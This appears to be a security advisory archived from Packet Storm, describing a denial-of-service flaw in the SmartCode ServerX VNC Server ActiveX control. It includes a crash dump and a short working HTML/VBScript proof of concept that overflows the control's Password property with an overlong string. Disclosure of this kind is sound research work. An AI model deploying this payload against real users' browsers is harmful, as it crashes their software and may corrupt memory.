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SmartCode ServerX VNC Server 1.1.5.0 Denial Of Service

🗓️ 13 Aug 2010 00:00:00Reported by LiquidWormType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 17 Views

SmartCode ServerX VNC Server 1.1.5.0 DoS Exploit on ActiveX Componen

Code
`  
  
Title: SmartCode ServerX VNC Server ActiveX 1.1.5.0 (scvncsrvx.dll) DoS Exploit  
  
  
Vendor: SmartCode Solutions  
Product Web Page: htt://www.s-code.com  
Version Tested: 1.1.5.0  
  
Summary: SmartCode ServerX VNC Server control is a VNC server implemented as an  
ActiveX component, which makes it extremely easy for you to integrate VNC support  
into your Web or desktop applications. In the simplest scenario, you would add the  
ServerX ActiveX component to your project, place the ServerX instance in a form,  
and modify the ActiveX properties if desired. That's it - you just created an  
application with a VNC Server embedded in it.  
  
Desc: The vulnerability exist in the CSC_ServerXControl class with all its members.  
When parsing overly long string while listening for incoming connection the application  
crashes along with IE, corrupting the memory.  
  
--  
  
(26d8.25bc): C++ EH exception - code e06d7363 (first chance)  
CSC_ServerXControl::FinalRelease  
eax=00000000 ebx=00000000 ecx=7c800000 edx=7c97b120 esi=7c90de50 edi=00000000  
eip=7c90e4f4 esp=0013fe5c ebp=0013ff58 iopl=0 nv up ei pl zr na pe nc  
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246  
ntdll!KiFastSystemCallRet:  
7c90e4f4 c3 ret  
  
--  
  
Tested On: Microsoft Windows XP Professional SP3 (EN)  
Windows Internet Explorer 8.0.6001.18702  
  
Zero Science Lab Advisory ID: ZSL-2010-4948  
Zero Science Lab Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2010-4948.php  
  
  
Vulnerability Discovered By: Gjoko 'LiquidWorm' Krstic  
liquidworm gmail com  
  
Zero Science Lab - http://www.zeroscience.mk  
  
13.08.2010  
  
  
  
PoC:  
  
<html>  
<object classid='clsid:8818CF4D-2190-49C3-B7EB-B9F2AE198CB1' id='zsl' />  
<script language='vbscript'>  
  
dos=String(18212, "A")  
  
zsl.Password = dos  
  
</script>  
</html>  
`

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